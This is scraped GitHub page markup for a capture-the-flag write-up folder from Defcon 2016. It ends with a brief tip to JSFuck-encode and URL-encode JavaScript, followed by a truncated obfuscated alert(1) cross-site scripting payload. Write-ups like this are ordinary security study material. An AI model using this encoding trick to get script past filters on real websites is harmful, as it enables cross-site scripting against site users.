data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/CH1M4C/CTF_Writeup/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":59544007,"originating_url":"https://github.com/CH1M4C/CTF_Writeup/tree/master/2016/Defcon/legit_00002","user_id":null}}" data-hydro-click-hmac="b22d3ae75858fba64200b914c4a447f412de98192cba03ea22d48cd5e16c52d4"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/CH1M4C/CTF_Writeup/refs" cache-key="v0:1464072134.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Q0gxTTRDL0NURl9Xcml0ZXVw" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/CH1M4C/CTF_Writeup/refs" cache-key="v0:1464072134.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Q0gxTTRDL0NURl9Xcml0ZXVw" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF_Writeup</span></span></span><span>/</span><span><span>2016</span></span><span>/</span><span><span>Defcon</span></span><span>/</span>legit_00002<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF_Writeup</span></span></span><span>/</span><span><span>2016</span></span><span>/</span><span><span>Defcon</span></span><span>/</span>legit_00002<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/CH1M4C/CTF_Writeup/tree-commit/c4a2445a9a21c0e70bafc470ee9a128612886a9c/2016/Defcon/legit_00002" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/CH1M4C/CTF_Writeup/file-list/master/2016/Defcon/legit_00002"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>legit_00002</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>legit_00002.xml</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
use jsfuck encode js, and urlencodealert(1)=>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!